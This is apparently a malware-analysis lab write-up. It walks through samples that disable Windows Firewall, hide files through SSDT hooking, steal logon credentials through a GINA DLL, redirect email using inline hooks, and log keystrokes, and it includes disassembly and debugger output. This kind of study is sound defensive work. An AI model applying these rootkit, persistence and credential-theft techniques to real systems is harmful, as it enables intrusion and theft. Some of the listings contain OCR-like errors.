|      | 8a20c3b0 | Driver | NDIS     |
|      | 8a053438 | Driver | KSecDD   |
| 01   | 8a0ad7d0 | Driver | Mouclass |
|      | 8a04ae38 | Driver | Raspti   |
|      | 89e28de8 | Driver | es1371   |
| 02   | 89e29bf0 | Driver | vmx_svga |
| 03   | 89e57b90 | Driver | Fips     |
|      | 8a1f87b0 | Driver | Kbdclass |
| 04   | 89fe6f38 | Driver | VgaSave  |
|      | 89ee6030 | Driver | NDProxy  |
|      | 8a2a60b8 | Driver | Compbatt |
| 05   | 8a292ec8 | Driver | Ptilink  |
|      | 8a31e850 | Driver | MountMgr |
|      | 8a2717e0 | Driver | wdmaud   |
| 07   | 89e0d7a0 | Driver | dmload   |
|      | 8a2b0218 | Driver | isapnp   |
|      | 89e3c2c0 | Driver | swmidi   |
| 08   | 8a28b948 | Driver | redbook  |
|      | 8a1f75f8 | Driver | vmmouse  |
|      | 8a0ed510 | Driver | atapi    |
| 09   | 89e0ea08 | Driver | vmscsi   |
| 10   | 89fe4da0 | Driver | IpNat    |
|      | 8a0e3728 | Driver | RasAcd   |
|      | 8a072d68 | Driver | PSched   |


-----  


```

Figure 3. !object \Driver

SERVICE_CONTROL_STOP will call DriverUnload function. To figure out what is the address of DriverUnload function is I would first place a breakpoint on Lab10_01 Driver entry.

```
kd> bu Lab10_01!DriverEntry
```

Note that “-” is converted to “_”. Next we need to step till Lab10_01.sys is loaded. Use step out till you see this **nt!IopLoadUnloadDriver+0x45**.

```
kd> !object \Driver
```

to list the loaded drivers, then we use display type (dt) to display out the LAB10-01 driver.

```
kd> p
Lab10_01+0x48d:
baf7e48d 56          push    esi
kd> p
Lab10_01+0x48e:
baf7e48e 8b3580e7f7ba    mov     esi,dword ptr [Lab10_01+0x780 (baf7e780)]
kd> p
Lab10_01+0x494:
baf7e494 57          push    edi
kd> p
Lab10_01+0x495:
baf7e495 33ff        xor     edi,edi
kd> p
Lab10_01+0x497:
baf7e497 68bce6f7ba    push    offset Lab10_01+0x6bc (baf7e6bc)
kd> p
Lab10_01+0x49c:
baf7e49c 57          push    edi
kd> du baf7e6bc
baf7e6bc  "\Registry\Machine\SOFTWARE\Polic"
baf7e6fc  "ies\Microsoft"
kd> t
Lab10_01+0x49d:
baf7e49d 897dfc        mov     dword ptr [ebp-4],edi
kd> t
Lab10_01+0x4a0:
baf7e4a0 ffd6        call    esi
kd> t
nt!RtlCreateRegistryKey:
805ddafe 8bff        mov     edi,edi
```

Figure 6. RtlCreateRegistryKey

The following image is the dissembled code of the driver in IDA Pro. Stepping the above instructions is the same as going through the instructions below.

```

.text:00010486 sub_10486      proc near                ; DATA XREF: sub_10986+840
.text:00010486
.text:00010486     ValueData    = dword ptr -4
.text:00010486
.text:00010486     mov         edi, edi
.text:00010486     push        ebp
.text:00010486     mov         ebp, esp
.text:00010486     push        ecx
.text:00010486     push        ebx
.text:00010486     push        esi
.text:00010486     mov         esi, ds:RtlCreateRegistryKey
.text:00010486     push        edi
.text:00010486     xor         edi, edi
.text:00010486     push        offset Path      ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:00010486     push        edi
.text:00010486     mov         [ebp+ValueData], edi
.text:00010486     call        esi ; RtlCreateRegistryKey
.text:00010486     push        offset aRegistryMach_0 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:00010486     push        edi
.text:00010486     mov         edi, edi
.text:00010486     call        esi ; RtlCreateRegistryKey
.text:00010486     push        offset aRegistryMach_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:00010486     push        edi
.text:00010486     call        esi ; RtlCreateRegistryKey
.text:00010486     mov         ebx, offset aRegistryMach_2 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:00010486     push        ebx
.text:00010486     push        edi
.text:00010486     call        esi ; RtlCreateRegistryKey
.text:00010486     mov         esi, ds:RtlWriteRegistryValue
.text:00010486     push        4
.text:00010486     push        eax, [ebp+ValueData]
.text:00010486     lea         eax, [ebp+ValueData]
.text:00010486     push        eax
.text:00010486     push        4
.text:00010486     mov         edi, offset ValueName
.text:00010486     push        edi
.text:00010486     mov         edi, offset ValueName
.text:00010486     push        offset aRegistryMach_1 ; "\\Registry\\Machine\\SOFTWARE\\Policies"...
.text:00010486     push        0
.text:00010486     push        edi
.text:00010486     call        esi ; RtlWriteRegistryValue
.text:00010486     push        4
.text:00010486     lea         eax, [ebp+ValueData]
.text:00010486     push        eax
.text:00010486     push        4
.text:00010486     push        edi
.text:00010486     push        0
.text:00010486     push        edi
.text:00010486     call        esi ; RtlWriteRegistryValue
.text:00010486     pop         edi
.text:00010486     pop         esi
.text:00010486     pop         ebx
.text:00010486     leave
.text:00010486     retn        4
.text:00010486 sub_10486      endp

```

Figure 7. Lab10-01.sys IDA Pro

iii. What does this program do?

The malware creates a service Lab10-01 that calls the driver located at “c:\\windows\\system32\\Lab10-01.sys”. It then starts the service, executing the driver and then stops the driver causing the driver to unload itself. In the driver’s unload function the driver attempts to create and write registry key using kernel function call. The following are the registry modification made by the driver.

- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft
- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall
- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile
- **RtlCreateRegistryKey:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile
- **RtlWriteRegistryValue:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile – 0 (data)

- RtlWriteRegistryValue:** \\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile – 0 (data)

According to [msdn](#), the above registry modifications will disable Windows Firewall for both the domain and standard profiles on the victim's machine.

b-The file for this lab is Lab10-02.exe

i. Does this program create any files? If so, what are they?

Cerbero Profiler highlighted that the malware contains a PE Resource. Instinct tells me that this malware behaves like a packer and will extract this resource onto the target's machine.




Figure 1. MZ header in resource

```
push    ecx
push    ebx
push    esi
push    edi
push    offset Type      ; "FILE"
push    65h                ; lpName
push    0                  ; hModule
call    ds:FindResourceA
mov     edi, eax
push    edi                ; hResInfo
push    0                  ; hModule
call    ds:LoadResource
test   edi, edi
mov     ebx, eax
jz     loc_4010FF

push    0                  ; hTemplateFile
push    FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push    CREATE_ALWAYS       ; dwCreationDisposition
push    0                  ; lpSecurityAttributes
push    0                  ; dwShareMode
push    0C0000000h          ; dwDesiredAccess
push    offset BinaryPathName ; "C:\Windows\System32\MIwx486.sys"
call    ds>CreateFileA
mov     esi, eax
cmp     esi, 0FFFFFFFh
jz     loc_4010FF

lea     eax, [esp+10h+NumberOfBytesWritten]
push    0                  ; lpOverlapped
push    eax                ; lpNumberOfBytesWritten
push    edi                ; hResInfo
push    0                  ; hModule
call    ds:SizeofResource
push    eax                ; nNumberOfBytesToWrite
push    ebx                ; lpBuffer
push    esi                ; hFile
call    ds:WriteFile
push    esi                ; hObject
call    ds:CloseHandle
```

Figure 3. Extract Resource

In the main method, we can see that the code is trying to extract the FILE resource into “C:\\Windows\\System32\\MIwx486.sys”.

for the address of NtQueryDirectoryFile. Once found, it will overwrite the address with the evil hook (custom subroutine).




Figure 6. Evil Hook

```

.....
.text:00010486      mov    edi, edi
.text:00010488      push   ebp
.text:00010489      mov    [ebp], esp
.text:0001048B      push   esi
.text:0001048C      mov    esi, [ebp+FileInformation]
.text:0001048F      push   edi
.text:00010490      push   dword ptr [ebp+RestartScan] ; RestartScan
.text:00010493      push   [ebp+FileName] ; FileName
.text:00010496      push   dword ptr [ebp+ReturnSingleEntry] ; ReturnSingleEntry
.text:00010499      push   [ebp+FileInformationClass] ; FileInformationClass
.text:0001049C      push   [ebp+FileInformationLength] ; FileInformationLength
.text:0001049F      push   esi    ; FileInformation
.text:000104A0      push   [ebp+IoStatusBlock] ; IoStatusBlock
.text:000104A3      push   [ebp+ApcContext] ; ApcContext
.text:000104A6      push   [ebp+ApcRoutine] ; ApcRoutine
.text:000104A9      push   [ebp+Event]    ; Event
.text:000104AC      push   [ebp+FileHandle] ; FileHandle
.text:000104AF      call   NtQueryDirectoryFile
.text:000104B4      xor    edi, edi
.text:000104B6      cmp    [ebp+FileInformationClass], 3
.text:000104BA      mov    dword ptr [ebp+RestartScan], eax
.text:000104BD      jnz   short loc_10505
.text:000104BF      test   eax, eax
.text:000104C1      jl    short loc_10505
.text:000104C3      cmp    [ebp+ReturnSingleEntry], 0
.text:000104C7      jnz   short loc_10505
.text:000104C9      push   ebx
.text:000104CA      push   8           ; Length
.text:000104CA      push   offset aM    ; Source2
.text:000104D1      lea    eax, [esi+5Eh]
.text:000104D4      push   eax    ; Source1
.text:000104D5      xor    bl, bl
.text:000104D7      call   ds:RtlCompareMemory
.text:000104D9      cmp    eax, 8
.text:000104E0      jnz   short loc_104F4
.text:000104E2      inc    bl
.text:000104E4      test   edi, edi
.text:000104E6      jz    short loc_104F4
.text:000104E8      mov    eax, [esi]
.text:000104EA      test   eax, eax
.text:000104EC      jnz   short loc_104F2
.text:000104EE      and    [edi], eax
.text:000104F0      jmp    short loc_104F4
.text:000104F2      -----

```

Figure 6. NTQueryDirectoryFile

In the driver, **NTQueryDirectoryFile** function is used. According to [msdn](#), this function returns various kinds of information about files in the directory specified by a given file handle. Further down, we can see that **RtlCompareMemory** is called. A comparison was made between the filename and the following string “**Mlxw**“. If it matches, the file will be hidden.

```

.....
.text:0001051A aM      db 'M',0
.text:0001051C          db 'l',0
.text:0001051E aW      db 'w',0
.text:00010520          db 'x',0
.text:00010522          db ' ',0
.text:00010523          db ' ',0
.text:00010524          align 80h
.text:00010524 _text     ends

```

Figure 7. Mlxw string

Set breakpoint by using this command **bu Mlx486!DriverEntry**. Run Lab10-02.exe and windbg should break. Set breakpoint at **nt!IopLoadDriver+0x66a** and let the program run again. Once the kernel breaks, you will be able to run **!object \Driver** to list the loaded drivers. DriverInit for the malware has yet been executed at this stage so you can set your breakpoint from this point on.

```

nt!DbgLoadImageSymbols+0x42:
80527e02 c9          leave
kd> gu
nt!MmLoadSystemImage+0xa80:
805a41f4 804b3610      or      byte ptr [ebx+36h],10h
kd> gu
nt!IopLoadDriver+0x371:
80576483 3bc3        cmp     eax,ebx
kd> gu
nt!IopLoadUnloadDriver+0x45:
8057688f 8bf8        mov     edi,eax
kd> !object \Driver
Object: e101d910  Type: (8a360418) Directory
  ObjectHeader: e101d8f8 (old version)
  HandleCount: 0  PointerCount: 85
  Directory Object: e1001150  Name: Driver

  Hash Address   Type           Name
  ----  -----   ----
  00  8a0f46e8  Driver         Beep
  8a0eb1e0  Driver         NDIS
  8a0ebd28  Driver         KSecDD
  01  8a191520  Driver         Mouclass
  89de1030  Driver         Raspti
  89e43eb0  Driver         es1371
  02  8a252c98  Driver         vmx_svga
  03  8a0-3d50  Driver         Finc
kd>

```

Figure 9. Break @ DriverEntry

```

kd> dt _DRIVER_OBJECT 89ed43b8  ---
_ntdll!_DRIVER_OBJECT
+0x000 Type          : 0n4
+0x002 Size          : 0n168
+0x004 DeviceObject  : (null)
+0x008 Flags          : 0x12
+0x00c DriverStart    : 0xbafe6000 Void
+0x010 DriverSize     : 0xd80
+0x014 DriverSection  : 0x89ed7c00 Void
+0x018 DriverExtension: 0x89ed4460 _DRIVER_EXTENSION
+0x01c DriverName     : _UNICODE_STRING "\Driver\Mlx486"
+0x024 HardwareDatabase: 0x80670ae0 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch  : (null)
+0x02c DriverInit     : 0xbafe67ab long +0
+0x030 DriverStartIo   : (null)
+0x034 DriverUnload    : (null)
+0x038 MajorFunction   : [28] 0x804f354a    long nt!IopInvalidDeviceRequest+0
kd> u 0xbafe67ab
Mlx486+0x7ab:
bafe67ab 8bf1        mov     edi,edi
bafe67ad 55          push    ebp
bafe67ae 8bec        mov     ebp,esp
bafe67b0 e8bdffff    call    Mlx486+0x772 (bafe6772)
bafe67b5 5d          pop    ebp
bafe67b6 e94bffff    jmp    Mlx486+0x706 (bafe6706)
bafe67bb cc          int     3
bafe67bc 4b          dec    ebx

```

Figure 10. DriverInit

```

INIT:BAFE67AB ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
INIT:BAFE67AB     public DriverEntry
INIT:BAFE67AB     proc near             ; DATA XREF: HEADER:BAFE6288@0
INIT:BAFE67AB
INIT:BAFE67AB     . = dword ptr  8
INIT:BAFE67AB     RegistryPath    = dword ptr  0Ch
INIT:BAFE67AB
INIT:BAFE67AB     mov    edi, edi
INIT:BAFE67AD     push   ebp
INIT:BAFE67AE     mov    ebp, esp
INIT:BAFE67B0     call   sub_BAFE6772
INIT:BAFE67B5     pop    ebp
INIT:BAFE67B6     jmp    sub_BAFE67B6
INIT:BAFE67B6     endp
INIT:BAFE67B6

```

Figure 11. DriverEntry

From Figure 10 & 11, we can see that DriverInit is actually DriverEntry in IDA Pro.

running **kd> dps nt!KiServiceTable l 100** now shows that the service descriptor table has been modified.

```

00000000 00000000 nt!NtSetBootEntryOrder
80501dc0 8060cb50 nt!NtSetBootEntryOrder
80501dc4 8053c02e nt!NtQueryDebugFilterState
80501dc8 80606e68 nt!NtQueryDefaultLocale
80501dcc 80607ac8 nt!NtQueryDefaultUILanguage
80501dd0 baecb486 Mlwx486+0x486
80501dd4 805b3de0 nt!NtQueryDirectoryObject
80501dd8 8056f3ca nt!NtQueryEaFile
80501ddc 806053a4 nt!NtQueryEvent
80501de0 8056c222 nt!NtQueryFullAttributesFile
80501de4 8060c2dc nt!NtQueryInformationAtom
80501de8 8056fc46 nt!NtQueryInformationFile
80501dec 805cbee0 nt!NtQueryInformationJobObject
80501df0 8059a6fc nt!NtQueryInformationPort
80501df4 805c2bfc nt!NtQueryInformationProcess
80501df8 805c17c8 nt!NtQueryInformationThread
80501dfa 805e3afa nt!NtQueryInformationToken

```

Figure 12. Service Descriptor Table modified

To conclude, the malware uses ring 0 rootkit to hide files that starts with “**Mlwx**” via hooking of the service descriptor table.

Practical No. 5

a-Analyze the malware found in Lab11-01.exe

i. What does the malware drop to disk?




Figure 1. Binary resource in Lab11-01.exe's TGAD

There is a binary in the resource section of Lab11-01.exe.

11:06:...	Lab11-01.exe	228	ReadFile	C:\Documents and Settings\Administrator\Desktop\Lab11-01.exe	SUCCESS	Offset: 32,768, Len:
11:06:...	Lab11-01.exe	228	CreateFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	Desired Access: G..
11:06:...	Lab11-01.exe	228	CreateFile	C:\Documents and Settings\Administrator\Desktop	SUCCESS	Desired Access: S..
11:06:...	Lab11-01.exe	228	CloseFile	C:\Documents and Settings\Administrator\Desktop	SUCCESS	
11:06:...	Lab11-01.exe	228	WriteFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	Offset: 0, Length: 4.
11:06:...	Lab11-01.exe	228	WriteFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	Offset: 4,096, Len:
11:06:...	Lab11-01.exe	228	CloseFile	C:\Documents and Settings\Administrator\Desktop\msgina32.dll	SUCCESS	
11:06:...	Lab11-01.exe	228	RegCreateKey	HKLMSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	SUCCESS	Desired Access: All..
11:06:...	Lab11-01.exe	228	RegSetValue	HKLMSOFTWARE\Microsoft\Windows NT\CurrentVersion\GinaDLL	SUCCESS	Type: REG_SZ, Le..
11:06:...	Lab11-01.exe	228	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 8,192
11:06:...	Lab11-01.exe	228	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 8,192
11:06:...	Lab11-01.exe	228	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 16,384
11:06:...	Lab11-01.exe	228	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 20,480
11:06:...	Lab11-01.exe	228	SetEndOfFileInformationFile	C:\WINDOWS\system32\config\software.LOG	SUCCESS	EndOfFile: 24,576

Figure 2. msgina32.dll dropped

From Proc Mon we can observe that msgina32.dll and software.LOG are dropped on the machine.

ii. How does the malware achieve persistence?

In figure 2, the malware adds “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL” into the registry.

According to [MSDN](#), [Winlogon](#), the [GINA](#), and network providers are the parts of the interactive logon model. The interactive logon procedure is normally controlled by Winlogon, MSGina.dll, and network providers. To change the interactive logon procedure, MSGina.dll can be replaced with a customized GINA DLL. Winlogon will trigger the use of the malicious dll and that is how the malware achieves persistency.

iii. How does the malware steal user credentials?

Looking at the dropped dll's export, it seems like it is a custom dll to hook to the winlogon process.

ShellShutdownDialog	100012A0	29
WlxActivateUserShell	100012B0	30
WlxDisconnectNotify	100012C0	31
WlxDisplayLockedNotice	100012D0	32
WlxDisplaySASNotice	100012E0	33
WlxDisplayStatusMessage	100012F0	34
WlxGetConsoleSwitchCredentials	10001300	35
WlxGetStatusMessage	10001310	36
WlxInitialize	10001320	37
WlxIsLockOk	10001330	38
WlxIsLogoffOk	10001340	39
WlxLoggedOnSAS	10001350	40
WlxLoggedOutSAS	100014A0	41
WlxLogoff	10001360	42
WlxNegotiate	10001370	43
WlxNetworkProviderLoad	10001380	44
WlxReconnectNotify	10001390	45
WlxRemoveStatusMessage	100013A0	46
WlxScreenSaverNotify	100013B0	47
WlxShutdown	100013C0	48
WlxStartApplication	100013D0	49
WlxWkstaLockedSAS	100013E0	50
DllRegister	10001440	51
DllUnregister	10001490	52
DllEntryPoint	10001735	[main entry]

Figure 3.

WlxLoggedOutSAS

After checking through the exports function, only 1 function (**WlxLoggedOutSAS**) behaves suspiciously. The rest simply pass the inputs to the original function address.

```

; int __cdecl WriteToFile(DWORD dwMessageId, uchar_t *Format, char Args)
WriteToFile proc near

var_854= word ptr -854h
Buffer= word ptr -850h
var_828= word ptr -828h
Dest= word ptr -800h
dwMessageId= dword ptr  4
Format= dword ptr  8
Args= byte ptr  0Ch

    mov     ecx, [esp+Format]
    sub     esp, 854h
    lea     eax, [esp+854h+Args]
    lea     edx, [esp+854h+Dest]
    push    esi
    push    eax          ; Args
    push    ecx          ; Format
    push    800h          ; Count
    push    edx          ; Dest
    call    _vsnwprintf
    push    offset Mode   ; Mode
    push    offset Filename ; "msutil32.sys"
    call    _wfopen
    mov     esi, eax
    add     esp, 18h
    test   esi, esi
    jz     loc_1000164F

loc_1000164F:

lea     eax, [esp+858h+Dest]
push    edi
lea     ecx, [esp+85Ch+Buffer]
push    eax
push    ecx          ; Buffer
call    _wstrtime
add    esp, 4
lea     edx, [esp+860h+var_828]
push    eax
push    edx          ; Buffer
call    _wstrdate
add    esp, 4
push    eax
push    offset Format  ; "%S %S - %S "
push    esi          ; File
call    Fuprintf
mov     edi, [esp+870h+dwMessageId]
add    esp, 14h
test   edi, edi
jz     short loc_10001637

loc_10001637:

push    offset asc_1000329C ; "\n"
push    esi          ; File
call    Fuprintf
add    esp, 8
push    esi          ; File
    ...
    ...

```

Figure 5. Write to file

The above figure shows the malicious dll writing the stolen values into c:\windows\system32\msutil32.sys file.

v. How can you use this malware to get user credentials from your test environment?

By rebooting the machine or by logging off and re-login again. **c:\windows\system32\msutil32.sys** will contains the password used to login to the windows.




Figure 2. Set Registry & WriteFile

The malware add a registry value in **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs**.

It then copy itself; the dll as **C:\Windows\System32\spoolvxx32.dll**.

The malware then tries to open **C:\Windows\System32\Lab11-02.ini**.

iii. Where must Lab11-02.ini reside in order for the malware to install properly?



Figure 3. Loads config file

The malware will attempt to load the config from **C:\Windows\System32\Lab11-02.ini**. We would need to place the ini file in system32 folder.

iv. How is this malware installed for persistence?

According to [MSDN](#), AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. By adding AppInit_DLLs in **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows** we are loading the malicious DLL into each user mode process that gets executed on the system.

v. What user-space rootkit technique does this malware employ?

If we look at the subroutine @0x100012A3, you will see that it is attempting to get the address of send from wscock32.dll. It then pass the address to subroutine @0x10001203.

The subroutine @0x10001203 is employing the inline hook technique. It first get the offset from the hook position to the function where it wants to jump to. It then uses VirtualProtect to make 5 bytes of space from the start of the subroutine address to PAGE_EXECUTE_READWRITE. Once it is done it then rewrite the code to jmp to the hook function. Finally it reset the 5 bytes of memory space back to the old protection attributes.

```
.text:10001203 ; int __cdecl inlineHook(LPUVOID lpAddress, int, int)
.text:10001203 inlineHook    proc near             ; CODE XREF: sub_100012A3+4F↓p
.text:10001203
.text:10001203 f1OldProtect     = dword ptr -0Ch
.text:10001203 var_8           = dword ptr -8
.text:10001203 var_4           = dword ptr -4
.text:10001203 lpAddress        = dword ptr 8
.text:10001203 arg_4           = dword ptr 0Ch
.text:10001203 arg_8           = dword ptr 10h
.text:10001203
.text:10001203
.text:10001203 push    ebp
.text:10001204 mov     ebp, esp
.text:10001206 sub    esp, 0Ch
.text:10001209 mov     eax, [ebp+arg_4]
.text:1000120C sub    eax, [ebp+lpAddress]
.text:1000120F sub    eax, 5
.text:10001212 mov     [ebp+var_4], eax
.text:10001215 lea     ecx, [ebp+f1OldProtect]
.text:10001218 push    ecx      ; lpf1OldProtect
.text:10001219 push    40h      ; f1NewProtect
.text:1000121B push    5         ; dwSize
.text:1000121D mov     edx, [ebp+lpAddress]
.text:10001220 push    edx      ; lpAddress
.text:10001221 call    ds:VirtualProtect
.text:10001227 push    0FFh      ; Size
.text:1000122C call    malloc
.text:10001231 add    esp, 4
.text:10001234 mov     [ebp+var_8], eax
.text:10001237 mov     eax, [ebp+var_8]
.text:1000123A mov     ecx, [ebp+lpAddress]
.text:1000123D mov     [eax], ecx
.text:1000123F mov     edx, [ebp+var_8]
.text:10001242 mov     byte ptr [edx+4], 5
.text:10001246 push    5         ; Size
.text:10001248 mov     eax, [ebp+lpAddress]
.text:1000124B push    eax      ; Src
.text:1000124C mov     ecx, [ebp+var_8]
.text:1000124F add    ecx, 5
.text:10001252 push    ecx      ; Dst
.text:10001253 call    memcpy
.text:10001258 add    esp, 0Ch
.text:1000125B mov     edx, [ebp+var_8]
.text:1000125E mov     byte ptr [edx+0Ah], 0E9h
.text:10001262 mov     eax, [ebp+lpAddress]
.text:10001265 sub    eax, [ebp+var_8]
.text:10001268 sub    eax, 0Ah
.text:1000126B mov     ecx, [ebp+var_8]
.text:1000126E mov     [ecx+0Bh], eax
.text:10001271 mov     edx, [ebp+lpAddress]
.text:10001274 mov     byte ptr [edx], 0E9h
```

Figure 4. inline hook

However, the malware only hook 3 programs; THEBAT.EXE, OUTLOOK.EXE, MSIMM.EXE.




Figure 5. Hook selected programs

To conclude, the malware is attempting to do an inline hook on ws2_32.dll's send function for selected programs.



Figure 7. billy@malwareanalysisbook.com

This decoded string will be used in the following function.

```
; int __stdcall lookforstring(int, char *Str, int, int)
lookforstring proc near

Dst= byte ptr -204h
arg_0= dword ptr 8
Str= dword ptr 0Ch
arg_8= dword ptr 10h
arg_C= dword ptr 14h

push    ebp
mov     ebp, esp
sub    esp, 204h
push    offset str_RCPT_TO ; "RCPT TO:"
mov     eax, [ebp+Str]
push    eax           ; Str
call    strstr
add    esp, 8
test   eax, eax
jz     loc_100011E4
```




Figure 8. replacing send data

The inline hook jumps to the above function. Its starts off with checking if the send buffer contains the string “RCPT TO”. If it does, it will create a new buffer “**RCPT TO:<billy@malwareanalysisbook.com>|r\n**” and send it off via the original send function. The function will then end of by simply forwarding the original data to the send function.

vii. Which process(es) does this malware attack and why?

As answered in question v... the malware only hook 3 programs; THEBAT.EXE, OUTLOOK.EXE, MSIMM.EXE. They are all email clients.

viii. What is the significance of the .ini file?

As answered in question v... the config.ini contains the encoded attacker email address. It is used to replace recipient address causing email to be sent to the attacker instead.

c- Analyze the malware found in Lab11-03.exe and Lab11-03.dll. Make sure that both files are in the same directory during analysis.

i. What interesting analysis leads can you discover using basic static analysis?

Lab11-03.exe

```

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near

fileName= byte ptr -104h
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

push    ebp
mov     ebp, esp
sub    esp, 104h
push    0          ; bFailIfExists
push    offset NewFileName ; "C:\\WINDOWS\\System32\\inet_epar32.dll"
push    offset ExistingFileName ; "Lab11-03.dll"
call    ds:CopyFileA
push    offset aCisvc_Exe ; "cisvc.exe"
push    offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\%s"
lea     eax, [ebp+fileName]
push    eax          ; char *
call    _sprintf
add    esp, 0Ch
lea     ecx, [ebp+fileName]
push    ecx          ; lpFileName
call    sub_401070
add    esp, 4
push    offset aNetStartCisvc ; "net start cisvc"
call    _system
add    esp, 4
xor    eax, eax
mov    esp, ebp
pop    ebp
ret
_main endp

```

Figure 1. Installation

The main method in Dll11-03.exe is pretty straight forward. It first copy the Lab11-03.dll to C:\Windows\System32\inet_epar32.dll. It then attempts to modify C:\Windows\System32\cisvc.exe and executes the infected executable by starting a service via the command “**net start cisvc**”

Lab11-03.dll

The dll contains some interesting stuff... In export, we can see a suspicious looking function; **zzz69806582**.

Name	Address	Ordinal
zzz69806582	10001540	1
DllEntryPoint	10001968	[main entry]

Figure 2.

Export function surface a funny function

The imports contains **GetAsyncKeyState** and **GetForegroundWindow** which highly suggests that this is a keylogger.

Address	Ordinal	Name	Library
100070F0		GetForegroundWindow	USER32
100070F4		GetWindowTextA	USER32
100070F8		GetAsyncKeyState	USER32
10007000		Sleep	KERNEL32
10007004		WriteFile	KERNEL32

Figure 3. imports

The function @zzz69806582 is pretty simple. It just creates a thread.

Next, the thread calls a subroutine to record keystrokes.




Figure 5. Keylogs

ii. What happens when you run this malware?

As answered in question 1, It first copy the Lab11-03.dll to C:\\Windows\\System32\\inet_epar32.dll. It then attempts to modify C:\\Windows\\System32\\cisvc.exe and executes the infected executable by starting a service via the command “net start cisvc”

The infected service then begin to log keystroke and save it in C:\\Windows\\System32\\kernel64x.dll.

Time...	Process Name	PID	Operation	Path	Result	Detail
11:06...	Lab11-03.exe	784	Thread Create	C:\Windows\Prefetch\LAB11-03.D-E-389CE06.pf	SUCCESS	ThreadId: 720
11:06...	Lab11-03.exe	784	CreateFile	C:\Documents and Settings\Administrator\Desktop	SUCCESS	Desired Access: 0...
11:06...	Lab11-03.exe	784	CreateFile	C:\Documents and Settings\Administrator\Desktop\Lab11-03.dll	SUCCESS	Desired Access: 0...
11:06...	Lab11-03.exe	784	CreateFile	C:\Windows\System32\inet_epar32.dll	SUCCESS	Desired Access: 0...
11:06...	Lab11-03.exe	784	CreateFile	C:\Windows\System32\kernel64x.dll	SUCCESS	Desired Access: 0...
11:06...	Lab11-03.exe	784	SetEndOfFileInformationFile	C:\Windows\System32\inet_epar32.dll	SUCCESS	EndOfFile: 49,152
11:06...	Lab11-03.exe	784	CreateFileMapping	C:\Documents and Settings\Administrator\Desktop\Lab11-03.dll	SUCCESS	SyncType: SyncTy...
11:06...	Lab11-03.exe	784	CreateFileMapping	C:\Documents and Settings\Administrator\Desktop\Lab11-03.dll	SUCCESS	SyncType: SyncTy...
11:06...	Lab11-03.exe	784	WriteFile	C:\Windows\System32\inet_epar32.dll	SUCCESS	Offset: 0, Length: 4...
11:06...	Lab11-03.exe	784	SetBasicInformationFile	C:\Windows\System32\inet_epar32.dll	SUCCESS	CreationTime: 1/1/...
11:06...	Lab11-03.exe	784	CreateFile	C:\Windows\System32\cisvc.exe	SUCCESS	Desired Access: 0...
11:06...	Lab11-03.exe	784	CreateFileMapping	C:\Windows\System32\cisvc.exe	SUCCESS	SyncType: SyncTy...
11:06...	Lab11-03.exe	784	CreateFile	C:\Windows\System32\cmd.exe	SUCCESS	Desired Access: 0...
11:06...	Lab11-03.exe	784	CreateFileMapping	C:\Windows\System32\cmd.exe	SUCCESS	SyncType: SyncTy...
11:06...	Lab11-03.exe	784	CreateFile	C:\Windows\System32\lapihelp.dll	SUCCESS	Desired Access: 0...

Figure 6. Procmon showing file creation in infected system




Figure 9. Changes in Entry Point

iv. Which Windows system file does the malware infect?

It infects C:\Windows\System32\cisvc.exe.

Process Explorer - Sysinternals: www.sysinternals.com [USER-FCC21C8345\Administrator]

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
winlogon.exe		6,968 K	3,608 K	660	Windows NT Logon Applic...	Microsoft Corporation
services.exe		3,416 K	5,448 K	704	Services and Controller app	Microsoft Corporation
vmacthlp.exe		588 K	2,548 K	876	VMware Activation Helper	VMware, Inc.
Command Line:		2,984 K	4,700 K	888	Generic Host Process for Wi...	Microsoft Corporation
Path:		2,236 K	4,496 K	1548	WMI	Microsoft Corporation
Services:		1,688 K	4,132 K	968	Generic Host Process for Wi...	Microsoft Corporation
Event Log [Eventlog]		12,408 K	20,576 K	1052	Generic Host Process for Wi...	Microsoft Corporation
Plug and Play [PlugPlay]		1,204 K	3,456 K	1100	Generic Host Process for Wi...	Microsoft Corporation
spoolsv.exe		1,756 K	4,692 K	1152	Generic Host Process for Wi...	Microsoft Corporation
VMwareService.exe		3,700 K	5,364 K	1452	Spooler SubSystem App	Microsoft Corporation
alg.exe		1,708 K	4,208 K	620	VMware Tools Service	VMware, Inc.
